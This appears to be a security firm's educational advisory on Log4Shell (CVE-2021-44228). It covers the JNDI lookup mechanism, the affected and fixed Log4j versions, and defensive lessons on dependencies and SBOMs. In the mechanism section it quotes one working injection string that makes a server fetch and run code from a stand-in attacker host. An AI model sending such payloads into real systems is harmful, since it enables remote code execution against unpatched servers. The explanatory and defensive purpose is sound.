CVE-2021-44228: Log4Shell, still worth understanding
July 30, 2026
Log4Shell is old news, but it is the single clearest example of why "we use a trusted library" is not the same as "we are safe." We keep it in our advisory archive because almost every SaaS team we test still has a dependency story that rhymes with it.
What it is
CVE-2021-44228 is a remote code execution flaw in Apache Log4j 2, one of the most widely used logging libraries in the Java ecosystem. The Apache Logging Services project rates it CVSS 10.0, the maximum score, because it is trivial to trigger, needs no authentication, and hands the attacker full code execution.
The mechanism is almost absurdly simple. Log4j supported a lookup feature that, when it logged a string like ${jndi:ldap://attacker.example/x}, would actually resolve that JNDI reference, reach out to the attacker's server, and load and run whatever it got back. So any user input that eventually got logged, a username, a User-Agent header, a chat message, became a way to run code on the server.
Who is affected
Per the Apache advisory, the vulnerable range is Log4j 2.0-beta9 through 2.14.1. It was fixed across three release lines depending on your Java version:
2.15.0 for Java 8 and later
2.12.2 for Java 7
2.3.1 for Java 6
Why it still matters in 2026
Nobody ships Log4j 2.14 on purpose anymore. The reason Log4Shell stays relevant is the lesson underneath it:
Your attack surface includes everything you import. A vulnerability in a transitive dependency five levels deep is still your vulnerability. You cannot secure code you do not know you are running.
Logging is user input. Anything that reaches a log line is data an attacker may control. The same is true of anything that reaches a template engine, a deserializer, or an eval.
A software bill of materials turns a panic into a query. Teams that could answer "where do we run Log4j, and what version?" in minutes patched in hours. Teams that could not spent the weekend grepping.
What to do
If you want to know how a flaw like this would actually play out in your product, that is exactly what a penetration test is for: someone tries the input paths an attacker would, including the ones your dependency scanner cannot reason about. Pair that with a maintained dependency inventory and a real patch cadence, and the next Log4Shell becomes a Tuesday, not a crisis.
This advisory is an educational write-up of a public vulnerability, not a finding against any specific customer.